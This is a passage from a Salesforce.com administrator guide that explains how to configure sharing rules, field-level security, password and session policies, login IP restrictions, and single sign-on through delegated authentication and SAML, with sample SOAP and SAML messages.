or Salesforce.com Customer Portal is enabled for your
organization.
The Roles and Internal Subordinates data set category is
only available in your organization after you create at least
one role in the role hierarchy and enable a portal.

Territories All territories defined for your organization.


Territories and subordinates All territories defined for your organization. This includes
the specified territory plus all territories below it.

b. In the second drop-down list, choose a specific data set.

5. In the Share with line, select the set of users who should have access to that data.

a. In the first drop-down list, choose a category. The available categories include:

Category Description
Public Groups All public groups defined by your administrator.
If a PRM portal or Customer Portal is enabled for your
organization, the All Partner Users or All Customer Portal
Users group displays. These groups includes all users
allowed to access your PRM or Customer Portal, except
for high-volume Customer Portal users.

Roles All roles defined for your organization. This includes all
of the users in the specified role.
Portal Roles All roles defined for your organization's PRM portal,
partner portal, or Salesforce.com Customer Portal. This
includes all of the users in the specified portal role, except
for high-volume Customer Portal users because they don't

213
Security and Sharing About Sharing Rules

Category Description
have roles. Note that the name of a portal role includes
the name of the account with which it is associated, except
for person accounts, which include the user Alias. See
User Fields on page 52.
Roles and Subordinates All roles defined for your organization. This includes all
of the users in the specified role plus all of the users in roles
below that role, including PRM portal, partner portal, and
Customer Portal roles that contain users with the Customer
Portal Manager license type.
Note that portal roles are only included in this category if
a PRM portal, partner portal, or Customer Portal is
enabled for your organization.

Portal Roles and Subordinates All roles defined for your organization's PRM portal,
partner portal, or Customer Portal. This includes all of the
users in the specified portal role plus all of the users below
that role in the portal role hierarchy, except for
high-volume Customer Portal users because they don't
have roles. Note that the name of a portal role includes
the name of the account with which it is associated, except
for person accounts, which include the user Alias. See
User Fields on page 52.
Roles and Internal Subordinates All roles defined for your organization. This includes all
of the users in the specified role plus all of the users in roles
below that role, excluding PRM portal, partner portal, and
Customer Portal roles.
This category only displays if a PRM portal, partner portal,
or Salesforce.com Customer Portal is enabled for your
organization.

Territories All territories defined for your organization. This includes


all users who have been assigned to that territory.
Territories and subordinates All territories defined for your organization. This includes
all users who have been assigned to that territory plus all
users who have been assigned to any territory below it.

b. In the second drop-down list, choose a specific set of users.

6. Select the sharing access that the users should have. The available settings include:

Access Setting Description


Read Only Users can view, but not update, records.
Read/Write Users can view and update records.

214
Security and Sharing About Sharing Rules

Access Setting Description


Full Access You can create a Full Access sharing rule so that any user in
the selected group, role, or territory (if territory management
(campaigns only)
is enabled) has full control over a record just like the record's
owner—that is, the ability to view, edit, transfer, delete, and
share the record.
A Full Access sharing rule also gives users the ability to view,
edit, delete, and close the activities associated with the
record, if the organization-wide sharing default for activities
is set to Controlled by Parent.

Note the following:

• For account and account territory sharing rules, the Contact Access, Opportunity Access, and Case Access
options only apply to the contacts, opportunities, and cases associated with the shared accounts.
• For opportunity sharing rules, the Opportunity Access level applies to opportunities owned by the group, role, or
territory members, regardless of the associated account.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by Parent.

7. Click Save.

Tip: Developers can use Apex to programmatically share custom objects. For more information, see Apex Managed
Sharing on page 196 and the Force.com Apex Code Developer's Guide.

Editing and Deleting Sharing Rules


To edit or delete a sharing rule, click Edit or Del in the Sharing Rules related lists of the Sharing Settings page.
You can edit the access levels for any sharing rule. You cannot change the specified groups, roles, or territories of the rule.

Recalculating Sharing Rules


When you make modifications to groups, roles, and territories, sharing rules are automatically reevaluated to add or remove
access as necessary. Modifications might include adding or removing individual users from a group, role, or territory, changing
which role a particular role reports to, changing which territory a particular territory is subordinate to, or adding or removing
a group from within another group. However, if these modifications affect too many users at once, you are warned that the
sharing rules will not be automatically reevaluated. You must manually recalculate them.
To recalculate the sharing rules, click Recalculate in the appropriate Sharing Rules related lists of the Sharing Settings page.
When sharing is recalculated, Salesforce.com also runs all Apex sharing recalculations.

See Also:
Setting Your Organization-Wide Default Sharing Model
Managing Groups
Sharing Rule Considerations
Sample Uses for Sharing Rules
About Sharing Rules

215
Security and Sharing About Sharing Rules

Sharing Rule Considerations


Account and contact sharing rules are available in: Professional, Enterprise, Unlimited, and Developer Editions
Account territory, case, lead, and opportunity sharing rules are available in: Enterprise, Unlimited, and Developer Editions
Campaign sharing rules are available in Professional Edition for an additional cost, and Enterprise, Unlimited, and
Developer Editions
Custom object sharing rules are available in Enterprise, Unlimited, and Developer Editions

Sharing rules allow you to selectively grant data access to defined sets of users. Review the following notes before using sharing
rules:

• You can use sharing rules to grant wider access to data. You cannot restrict access below your organization-wide default
levels.
• Sharing rules apply to all new and existing records that meet the definition of the source data set.
• Sharing rules apply to both active and inactive users.
• When you change the access levels for a sharing rule, all existing records are automatically updated to reflect the new access
levels.
• When you delete a sharing rule, the sharing access created by that rule is automatically removed.
• When you transfer records from one user to another, the sharing rules are reevaluated to add or remove access to the
transferred records as necessary.
• When you modify which users are in a group, role, or territory, the sharing rules are reevaluated to add or remove access
as necessary.
• Sharing rules automatically grant additional access to related records. For example, opportunity sharing rules give role or
group members access to the account associated with the shared opportunity if they do not already have it. Likewise, contact
and case sharing rules provide the role or group members with access to the associated account as well.
• Managers in the role hierarchy are automatically granted the same access that users below them in the hierarchy have from
a sharing rule provided that the object is a standard object or the Grant Access Using Hierarchies option is selected.
• Regardless of sharing rules, users can, at a minimum, view the accounts in their territories. Also, users can be granted access
to view and edit the contacts, opportunities, and cases associated with their territories' accounts. See Territory Management
Overview on page 2131.
• Making changes to sharing rules may require changing a large number of records at once. To process these changes
efficiently, Salesforce.com may queue your request and send an email notification when the process has completed.
• You can create sharing rules between Customer Portal users and Salesforce.com users. Similarly, you can create sharing
rules between Customer Portal users from different accounts as long as they have the Customer Portal Manager user
license. For more information, see Setting Sharing Rules on page 211.
• You can easily convert sharing rules that include Roles and Subordinates to include Roles and Internal Subordinates instead
by using the Convert Portal User Access wizard. Furthermore, you can use this wizard to convert any publicly accessible
report, dashboard, and document folders to folders that are accessible by all users except for portal users.

216
Security and Sharing Setting Field-Level Security

• Lead sharing rules do not automatically grant access to lead information after leads are converted into account, contact,
and opportunity records.

See Also:
Setting Sharing Rules
About Sharing Rules

Setting Field-Level Security


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set field-level security: “Customize Application”

You can define which fields users can access. Field-level security settings let administrators restrict users’ access to view and
edit specific fields on detail and edit pages and in related lists, list views, reports, Connect Offline, search results, email and
mail merge templates, custom links, the PRM portal, the Salesforce.com Customer Portal, and when synchronizing data or
importing personal data.
The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most
restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read only in
the field-level security settings, the field-level security overrides the page layout and the field will be read only for the user.
Important: Field-level security does not prevent searching on the values in a field. If you do not want users to be
able to search and retrieve records that match a value in a field hidden by field-level security, contact salesforce.com
Customer Support for assistance with setting up your organization to prevent unwanted access to those field values.

You can define field-level security from a profile or from a particular field. To define field-level security:

1. Do one of the following:

• To set field-level security for all fields on a particular profile:

a. Select Setup ➤ Manage Users ➤ Profiles.


b. Select a profile to change the field access for users with that profile.
c. In the Field-Level Security section, click View next to the tab you want to modify, and then click Edit.

• To set field-level security for a particular field on all profiles:

a. Select Setup ➤ Customize, click a tab or activity link, and click Fields.
b. Select the field you want to modify.
c. Click Set Field-Level Security.

2. Specify whether the fields should be visible, hidden, read only, or editable (visible without read only) for users based on
their profile.

217
Security and Sharing Setting Password Policies

Note that these field access settings apply throughout Salesforce.com. The settings also override any less-restrictive field
access settings on the page layouts or article-type layouts.
3. Click Save.

After setting field-level security for users based on their profiles, you can:

• Create page layouts to organize the fields on detail and edit pages; see Managing Page Layouts on page 618.
Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to
organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain.

• Verify users’ access to fields by checking the field accessibility grid; see Checking Field Accessibility on page 638.
• Set the fields that display in search results, in lookup dialog search results, and in the key lists on tab home pages; see
Customizing Search Layouts on page 645.

Note: Roll-up summary and formula fields are always read only on detail pages and not available on edit pages. They
may also be visible to users even though they reference fields that your users cannot see. Universally required fields
always display on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security. For
more information on the behaviors of relationship group members, see Relationship Group Considerations on page
1847.

See Also:
Overview of Page Layouts and Field-Level Security
Managing Profiles
Administrator tip sheet: Tips & Hints for Page Layouts and Field-Level Security

Setting Password Policies


Available in: Professional, Contact Manager, Group, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set password policies: “Manage Users”

For your organization’s security, you can set various password and login policies.

1. Click Setup ➤ Security Controls ➤ Password Policies.


2. Customize the password settings.

Field Description
User passwords expire in Length of time until all user passwords expire and must be
changed. Users with the “Password Never Expires”

218
Security and Sharing Setting Password Policies

Field Description
permission are immune from this setting. The default is 90
days.
Enforce password history Setting to save users’ previous passwords so that they must
always reset their password to a new, unique password.
Password history is not saved until you set this value. The
default is 3 passwords remembered. You cannot select the
No passwords remembered option unless you select the
Never expires option for the User passwords expire
in field.

Minimum password length Minimum number of characters required for a password.


When you set this value, existing users are not affected until
the next time they change their passwords. The default is 8
characters.
Password complexity requirement Restriction on which types of characters must be used in a
user’s password. Must mix alpha and numeric is the default
option. This option requires at least one alphabetic character
and one number.
Password question requirement Setting to require that a user’s answer to the password hint
question not contain the password itself.
Maximum invalid login attempts Number of bad logins allowed by a user before he or she
becomes locked out.
Lockout effective period Duration of the login lockout.

Note: User passwords cannot exceed 16,000 bytes.

3. Click Save.

Note: If a user becomes locked out, he or she can wait until the lockout period expires, or the administrator can view
the user’s information and click Unlock. This button is only available when a user is locked out.

See Also:
Setting Login Restrictions
Resetting Passwords
Expiring Passwords
Administrator setup guide: Security Implementation Guide

219
Security and Sharing Setting Session Security

Setting Session Security


The Login IP Ranges setting is available in: Personal, Contact Manager, Group, and Professional Editions (Valid IP
addresses can be set at the profile level for Enterprise, Unlimited, and Developer Editions)
The Lock sessions to the IP address from which they originated setting is available in: Enterprise,
Unlimited, and Developer Editions
All other settings available in: Personal, Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer
Editions

User Permissions Needed


To set session security: “Customize Application”

You can modify session security settings to control the session timeout warning and to prevent “IP shifting” for users that are
logged in.

1. Click Setup ➤ Security Controls ➤ Session Settings.


2. Customize the session security settings.

Field Description
Timeout value Length of time after which the system prompts users who
have been inactive to log out or continue working. Select a
value between 30 minutes and 8 hours. Choose a shorter
timeout period if your organization has sensitive information
and you want to enforce stricter security.
Disable session timeout warning popup Determines whether the system prompts users with a timeout
warning message after any length of inactivity. Select this
option to provide extra security.
Lock sessions to the IP address from which Determines whether user sessions are locked to the IP
they originated address from which the user logged in, helping to prevent
unauthorized persons from hijacking a valid session.
Selecting this option prevents you from registering any
Force.com AppExchange packages, see “Registering Apps”
in the Force.com AppExchange online help. In addition,
you cannot use this option with partner relationship
management.

Require secure connections (HTTPS) Determines whether logins and all access to Salesforce.com
are required to use HTTPS.
This option is enabled by default, but it can be disabled to
allow HTTP connections too. You should require HTTPS
connections for enhanced security.

220
Security and Sharing Setting Session Security

Field Description
Note: The forgotten password page can only be
accessed using HTTPS.

Force Relogin After Login-As-User Determines whether an administrator that is logged in as


another user is returned to their previous session after logging
out as the secondary user. For more information, see Logging
In as Another User on page 133.
If the option is checked, an administrator must log in again
to continue using Salesforce.com after logging out as the
user; otherwise, the administrator is returned to their original
session after logging out as the user.

Enable caching and password autocomplete on Determines whether users' browsers can store usernames
login page and passwords, and, after an initial log in, automatically
enter this information on the login page.
By default, caching and autocomplete is enabled.

Login IP Ranges Specifies a range of IP addresses. Users must log in from IP


addresses within the range (inclusive), or the login will fail,
and users will have to activate their computers to successfully
log in. For more information, see Setting Login Restrictions
on page 175.
To specify a range, click New and enter a lower and upper
IP address to define the range.
This field is not available in Enterprise, Unlimited, and
Developer Editions. In those editions, you can specify valid
IP addresses per profile; see Restricting Login IP Ranges
on Profiles on page 177.

3. Click Save.

See Also:
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide

221
Security and Sharing Restricting Login IP Ranges for Your Organization

Restricting Login IP Ranges for Your Organization


Available in: All Editions

User Permissions Needed


To view network access: “Login Challenge Enabled”
To change network access: “Manage Users”

To help protect your organization's data from unauthorized access, you can specify a list of IP addresses from which users can
always log in without receiving a login challenge:

1. Click Setup ➤ Security Controls ➤ Network Access.


2. Click New.
3. Enter a valid IP address in the Start IP Address field and a higher IP address in the End IP Address field.
The start and end addresses define the range of allowable IP addresses from which users can log in. If you want to allow
logins from a single IP address, enter the same address in both fields.
For example, enter 125.12.3.0 as the start address and the end address to allow logins from only that IP address.
The start and end IP addresses must include no more than 33,554,432 addresses (225). For example, the following ranges
are valid:

• 0.0.0.0 to 1.255.255.255
• 132.0.0.0 to 132.255.255.255
• 132.0.0.0 to 133.255.255.255

However, ranges like 0.0.0.0 to 2.255.255.255 or 132.0.0.0 to 134.0.0.0 are too large.
4. Click Save.

Note: For organizations that were activated before December 2007, Salesforce.com automatically populated your
organization's trusted IP address list in December 2007, when this feature was introduced. The IP addresses from
which trusted users had already accessed Salesforce.com during the past six months were added.

See Also:
Restricting Login IP Ranges on Profiles
Setting Login Restrictions
Administrator setup guide: Security Implementation Guide

222
Security and Sharing About Single Sign-On

About Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Single sign-on is a process that allows network users to access all authorized network resources without having to log in
separately to each resource. Single sign-on allows you to validate usernames and passwords against your corporate user database
or other client application rather than having separate user passwords managed by Salesforce.com.
Salesforce.com offers the following ways to use single sign-on:

• Federated authentication using Security Assertion Markup Language (SAML): When federated authentication is
enabled, salesforce.com does not validate a user's password. Instead, salesforce.com verifies an assertion in the HTTP
POST request, and allows single sign-on if the assertion is true. This is the default form of single sign-on. Federated
authentication is available in all Editions.
• Delegated authentication: When delegated authentication is enabled, salesforce.com does not validate a user's password.
Instead, salesforce.com makes a Web services call to your organization to establish authentication credentials for the user.
You must request that this feature be enabled by salesforce.com. Contact salesforce.com to enable delegated authentication
single sign-on for your organization..

The Single Sign-On Settings page displays which version of single sign-on is available for your organization. To learn more
about the single sign-on settings, see Configuring SAML Settings for Single Sign-On on page 227. For more information
about SAML and Salesforce.com security, see the Security Implementation Guide.

Benefits of Single Sign-On


Implementing single sign-on can offer the following advantages to your organization:
• Reduced Administrative Costs: With single sign-on, users only need to memorize a single password to access both network
resources or external applications and Salesforce.com. When accessing Salesforce.com from inside the corporate network,
users are logged in seamlessly, without being prompted to enter a username or password. When accessing Salesforce.com
from outside the corporate network, users' corporate network login works to log them in. With fewer passwords to manage,
system administrators receive fewer requests to reset forgotten passwords.
• Leverage Existing Investment: Many companies use a central LDAP database to manage user identities. By delegating
Salesforce.com authentication to this system, when a user is removed from the LDAP system, they can no longer access
Salesforce.com. Consequently, users who leave the company automatically lose access to company data after their departure.
• Time Savings: On average, a user takes five to 20 seconds to log in to an online application; longer if they mistype their
username or password and are prompted to reenter them. With single sign-on in place, the need to manually log in to
Salesforce.com is avoided. These saved seconds add up to increased productivity.

223
Security and Sharing About Single Sign-On

• Increased User Adoption: Due to the convenience of not having to log in, users are more likely to use Salesforce.com on
a regular basis. For example, users can send email messages that contain links to information in Salesforce.com such as
records and reports. When the recipients of the email message click the links, the corresponding Salesforce.com page opens
automatically.
• Increased Security: Any password policies that you have established for your corporate network will also be in effect for
Salesforce.com. In addition, sending an authentication credential that is only valid for a single use can increase security for
users who have access to sensitive data.

See Also:
Best Practices for Implementing Single Sign-On
Configuring SAML Settings for Single Sign-On
Viewing Single Sign-on Settings
Validating SAML Settings for Single Sign-On
Enabling Single Sign-On for Portals
Administrator setup guide: Single Sign-On Implementation Guide

Enabling Delegated Authentication Single Sign-On


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Understanding Delegated Authentication in Salesforce.com


Salesforce.com uses the following process for authenticating users via delegated authentication single sign-on:
1. When a user tries to log in—either online or using the API—Salesforce.com validates the username and checks the user’s
profile settings.
2. If the user’s profile has the Is Single Sign-On Enabled user permission, then Salesforce.com does not validate the
username and password. Instead, a Web services call is made to the user’s organization, asking it to validate the username
and password.
Note: System administrators should have single sign-on disabled. If your system administrators were single sign-on
users and your single sign-on server had an outage, the administrators would have no way to log in to Salesforce.com.
System administrators should always be able to log in to Salesforce.com so that they can disable single sign-on in
the event of a problem. All users, except those with the “System Administrator” profile, have delegated authentication
enabled by default in Professional Edition.

224
Security and Sharing About Single Sign-On

3. The Web services call passes the username, password, and sourceIp to your Web service. (sourceIp is the IP address
that originated the login request. You must create and deploy an implementation of the Web service that can be accessed
by salesforce.com servers.)
4. Your implementation of the Web service validates the passed information and returns either true or false.
5. If the response is true, then the login process continues, a new session is generated, and the user proceeds to the application.
If false is returned, then the user is informed that his or her username and password combination is invalid.

Configuring Salesforce.com for Delegated Authentication


To enable delegated authentication single sign-on for your organization:
1. Contact salesforce.com to enable delegated authentication single sign-on for your organization.
2. Build your single sign-on Web service:
a. In Salesforce.com, download the Web Services Description Language (WSDL) file, AuthenticationService.wsdl,
by clicking Setup ➤ Develop ➤ API ➤ Download Delegated Authentication WSDL. The WSDL describes the
delegated authentication single sign-on service and can be used to automatically generate a server-side stub to which
you can add your specific implementation. For example, in the WSDL2Java tool from Apache Axis, you can use the
--server-side switch. In the wsdl.exe tool from .NET, you can use the /server switch.
For a sample request and response, see Sample SOAP Message for Delegated Authentication on page 226.
b. Add a link to your corporate intranet or other internally-accessible site that takes the authenticated user’s credentials
and passes them through an HTTP POST to the Salesforce.com login page.
Because Salesforce.com does not use the password field other than to pass it back to you, you do not need to send a
password in this field. Instead, you could pass another authentication token, such as a Kerberos Ticket so that your
actual corporate passwords are not passed to or from Salesforce.com.
You can configure the Salesforce.com delegated authentication authority to allow only tokens or to accept either tokens
or passwords. If the authority only accepts tokens, a Salesforce.com user cannot log in to Salesforce.com directly, because
they cannot create a valid token. However, many companies choose to allow both tokens and passwords. In this
environment, a user could still log in to Salesforce.com through the login page.
When the salesforce.com server passes these credentials back to you in the Authenticate message, verify them, and
the user will gain access to the application.

3. In Salesforce.com, specify your organization’s single sign-on gateway URL by clicking Setup ➤ Security Controls ➤
Single Sign-On Settings ➤ Edit. Enter the URL in the Delegated Gateway URL text box.
For security reasons, Salesforce.com restricts the outbound ports you may specify to one of the following:
• 80: This port only accepts HTTP connections.
• 443: This port only accepts HTTPS connections.
• 7000-10000 (inclusive): These ports accept HTTP or HTTPS connections.

4. Modify your user profiles to enable the Is Single Sign-On Enabled user permission. In Salesforce.com, click Setup
➤ Manage Users ➤ Profiles to add or edit profiles.
Important: If single sign-on is enabled for your organization, API and desktop client users cannot log in to
Salesforce.com unless their IP address is included on your organization's list of trusted IP addresses or on their profile,
if their profile has IP address restrictions set. Futhermore, the single sign-on authority usually handles login lockout
policies for users with the “Is Single Sign-On Enabled” permission. However, if the security token is enabled for your
organization, then your organization's login lockout settings determine the number of times a user can attempt to
log in with an invalid security token before being locked out of Salesforce.com. For more information, see Setting
Login Restrictions on page 175. For information on how to view login errors, see Viewing Single Sign-On Login
Errors on page 180.

225
Security and Sharing About Single Sign-On

Sample SOAP Message for Delegated Authentication


As part of the delegated authentication single sign-on process, a salesforce.com server makes a SOAP 1.1 request to authenticate
the user who is passing in the credentials. Here is an example of this type of request. Your single sign-on Web service needs
to accept this request, process it, and return a true or false response.
Sample Request

<?xml version="1.0" encoding="UTF-8" ?>


<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<Authenticate xmlns="urn:authentication.soap.sforce.com">
<username>sampleuser@sample.org</username>
<password>myPassword99</password>
<sourceIp>1.2.3.4</sourceIp>
</Authenticate>
</soapenv:Body>
</soapenv:Envelope>

Sample Response Message

<?xml version="1.0" encoding="UTF-8"?>


<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
<AuthenticateResult
xmlns="urn:authentication.soap.sforce.com">
<Authenticated>false</Authenticated>
</AuthenticateResult>
</soapenv:Body>
</soapenv:Envelope>

See Also:
About Single Sign-On
Best Practices for Implementing Single Sign-On
Administrator setup guide: Single Sign-On Implementation Guide

226
Security and Sharing About Single Sign-On

Configuring SAML Settings for Single Sign-On


Federated Authentication is available in: All Editions
Delegated Authentication is available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the settings: “View Setup and Configuration”
To edit the settings: “Customize Application”
AND
“Modify All Data”

Your organization must have SAML enabled in order to view the SAML Settings on the Single Sign-On settings page.

Understanding SAML in Salesforce.com


Security Assertion Markup Language (SAML) is an XML-based standard that allows you to communicate authentication
decisions between one service and another. It underlies many Web single sign-on solutions. Salesforce.com supports SAML
for single sign-on into Salesforce.com from a corporate portal or identity provider.
Much of the work to set up single sign-on using SAML takes place outside of Salesforce.com:
1. Establish a SAML identity provider. This is the provider that will send single sign-on requests to Salesforce.com.
2. Configure Salesforce.com using the instructions in Configuring Salesforce.com for SAML on page 228. This is the only
step that takes place in Salesforce.com.
3. Configure your identity provider to send SAML assertions to Salesforce.com using the SAML Web Single Sign-on
Browser POST profile. SAML responses should be sent to the Identity Provider Login URL specified in Setup
➤ Security Controls ➤ Single Sign-On Settings.
Salesforce.com receives the assertion, verifies it against your Salesforce.com configuration, and allows single sign-on if the
assertion is true. See Customizing SAML Start, Login, and Logout Pages for details on customizing the start and logout
pages.
4. If you have problems with the SAML assertion after you configure Salesforce.com for SAML, you can click SAML
Assertion Validator to validate the SAML assertion.

Customizing SAML Start, Login, and Logout Pages


The landing, login, and logout pages can be customized for single sign-on users using SAML 1.1 or 2.0.The SAML specification
supports an HTML form that is used to pass the SAML assertion via HTTPS POST.
For SAML 1.1, the SAML identity provider can embed name-value pairs in the TARGET field to pass this additional information
to Salesforce.com prepended with a specially formatted URL that contains URL-encoded parameters.
The URL for SAML 1.1 to include in the TARGET field is as follows:
https://saml.salesforce.com/?
For SAML 2.0, instead of using the TARGET field, use <AttributeStatement> in the SAML assertion to specify the
additional information.

227
Security and Sharing About Single Sign-On

Salesforce.com supports the following parameters:


Note: For SAML 1.1 these parameters must be URL-encoded. This allows the URLs, passed as values that include
their own parameters, to be handled correctly. For SAML 2.0, these parameters are part of the
<AttributeStatement>.

• ssoStartPage is the page to which the user should be redirected when trying to log in with SAML. The user is directed
to this page when requesting a protected resource in Salesforce.com, without an active session. The ssoStartPage should
be the SAML identity provider's login page.
• startURL is the URL where you want the user to be directed when sign-on completes successfully. This URL can be
absolute, such as https://na1.salesforce.com/001/o or it can be relative, such as /001/o. This parameter is only
used in SAML 1.1. In SAML 2.0, the start URL is the page the user attempted to access before they were authenticated.
• logoutURL is the URL where you want the user to be directed when they click the Logout link in Salesforce.com. The
default is http://www.salesforce.com.
The following sample TARGET field is for SAML 1.1, and includes properly-encoded parameters. It passes a customized start
page, as well as start and logout URLs embedded as parameter values in the query string.
https://saml.salesforce.com/?ssoStartPage=https%3A%2F
%2Fwww.customer.org%2Flogin%2F&startURL=%2F001%2Fo&logoutURL=http%3A%2F%2Fwww.salesforce.com
The following is an example of an <AttributeStatement> for SAML 2.0 that contains both ssoStartPage and
logoutURL:

<saml:AttributeStatement>
<saml:Attribute Name="ssoStartPage"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:anyType">
http://www.customer.org
</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="logoutURL"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
https://www.salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

Configuring Salesforce.com for SAML


To configure SAML settings for single sign-on from your corporate identity provider to Salesforce.com:
1. Obtain a certificate from your identity provider and store it where you can access it from your browser. This will be uploaded
to Salesforce.com in a later step.
2. In Salesforce.com, navigate to Setup ➤ Security Controls ➤ Single Sign-On Settings, and click Edit.
3. Customize the SAML settings:

Field Description
SAML Enabled Select this checkbox to enable SAML for your organization. Deselect it to disable SAML.
SAML Version Specify the version of SAML your identity provider uses. Salesforce.com currently supports
version 1.1 and 2.0. The SAML specifications for the various versions are linked below:
• SAML 1.1

228
Security and Sharing About Single Sign-On

Field Description
• SAML 2.0

Issuer A URL that uniquely identifies your SAML identity provider. This value is usually the
URL of the identity provider service, or the entity ID of the identity provider. SAML
assertions sent to Salesforce.com must match this value exactly in the Issuer attribute of
SAML assertions.
Identity Provider Use the Browse button to locate and upload a new identity provider certificate issued by
Certificate your identity provider.
SAML User ID Type Specify which element in a SAML assertion contains the string that identifies a
Salesforce.com user:
Assertion contains User's Salesforce username
Select this option if the assertion identifies a Salesforce.com user with his or her
Salesforce.com username. Use this option if your identity provider passes the
Salesforce.com username in SAML assertions.
Assertion contains the Federation ID from the User object
Select this option if the assertion identifies a Salesforce.com user with an external user
identifier stored in the FederationIdentifier field on his or her User record.
Use this option if your identity provider passes an external user identifier, for example
an employee ID, in the SAML assertion to identify the user.

SAML User ID Location Specify where in the assertion a user should be identified:
User ID is in the NameIdentifier element of the Subject
statement
The Salesforce.com Username or FederationIdentifier is located in the
<Subject> statement of the assertion.
User ID is in an Attribute element
The Salesforce.com Username or FederationIdentifier is specified in an
<AttributeValue>, located in the <Attribute> of the assertion.

Attribute Name If “User ID is in an Attribute element” is selected, enter the value of the
AttributeName that is specified in <Attribute> that contains the User ID.

Attribute URI If SAML 1.0 is the specified SAML version and “User ID is in an Attribute
element” is selected, enter the value of the AttributeNamespace that is specified in
<Attribute>.

Name ID Format If SAML 2.0 is the specified SAML version and “User ID is in an Attribute
element” is selected, specify the value for the nameid-format. Possible values include
unspecified, emailAddress or persistent. All legal values can be found in the
“Name Identifier Format Identifiers” section of the Assertions and Protocols SAML 2.0
specification.

4. Click Save.
5. To request single sign-on, your identity provider directs the user's browser to POST a form containing SAML assertions
to the Salesforce.com login page. Each assertion is verified, and if successful, single sign-on is allowed.

229
Security and Sharing About Single Sign-On

6. If you are having difficulty signing on using single sign-on after you have configured and saved your SAML settings, click
SAML Assertion Validator.

Login History
When a user logs in to Salesforce.com from another application using single sign-on, SAML assertions are sent to the
Salesforce.com login page. The assertions are checked against assertions in the identity provider certificate specified in Setup
➤ Security Controls ➤ Single Sign-On Settings. If a user fails to log in, a message is written to the login history log that
indicates why the login failed:
Issuer Mismatched
The issuer specified in an assertion does not match the issuer specified in your Salesforce.com configuration.

Recipient Mismatched
The recipient specified in an assertion does not match the recipient specified in your Salesforce.com configuration.

Signature Invalid
The signature in an assertion cannot be validated by the certificate in your Salesforce.com configuration.

Assertion Expired
An assertion's timestamp is more than five minutes old.
Note: Salesforce.com does make an allowance of three minutes for clock skew. This means, in practice, that an
assertion can be as much as eight minutes passed its validity period or three minutes before it.

Assertion Invalid
An assertion is not valid. For example, the <Subject> element of an assertion might be missing.

Configuration Error/Perm Disabled


Something is wrong with the SAML configuration in Salesforce.com. For example, the uploaded certificate might be
corrupted, or the organization preference might have been turned off. Check your configuration in Setup ➤ Security
Controls ➤ Single Sign-On Settings, and click SAML Assertion Debugger.

Subject Confirmation Error


The <Subject> specified in the assertion does not match the SAML configuration in Salesforce.com.

Replay Detected
The same assertion ID was used more than once. Assertion IDs must be unique within an organization.

Audience Invalid
The value specified in <Audience> must be https://saml.salesforce.com

Sample Assertions
Sample assertions are included below for SAML 1.1 and SAML 2.0.
SAML User ID type is the Salesforce.com username, and SAML User ID location is the <NameIdentifier>
element in the <Subject> element
SAML 1.1:

<Subject>
<NameIdentifier>user101@salesforce.com</NameIdentifier>
</Subject>

230
Security and Sharing About Single Sign-On

SAML 2.0:

<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">user101@salesforce.com</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2008-06-26T02:44:24.173Z"
Recipient="http://localhost:9000"/>
</saml:SubjectConfirmation>
</saml:Subject>

SAML User ID type isSalesforce.com username, and SAML User ID location is the <Attribute> element
SAML 1.1:

<AttributeStatement>
<Subject>
<NameIdentifier>this value doesn't matter</NameIdentifier>
<SubjectConfirmation>
<ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</ConfirmationMethod>

</SubjectConfirmation>
</Subject>
<Attribute AttributeName="MySfdcName" AttributeNamespace="MySfdcURI">
<AttributeValue>user101@salesforce.com</AttributeValue>
</Attribute>
</AttributeStatement>

SAML 2.0:

<saml:AttributeStatement>
<saml:Attribute FriendlyName="fooAttrib" Name="SFDC_USERNAME"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">
user101@salesforce.com
</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>

SAML User ID type is the Salesforce.com User object's FederationIdentifier field, and SAML User ID location
is the <NameIdentifier> element in the <Subject> element
SAML 1.1:

<AttributeStatement>
<saml:Subject>
<saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.0:assertion"
NameQualifier="www.saml_assertions.com">
MyName
</saml:NameIdentifier>
</saml:Subject>
</AttributeStatement>

SAML 2.0:

<saml:Subject>
<saml:NameID

231
Security and Sharing About Single Sign-On

Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">MyName</saml:NameID>
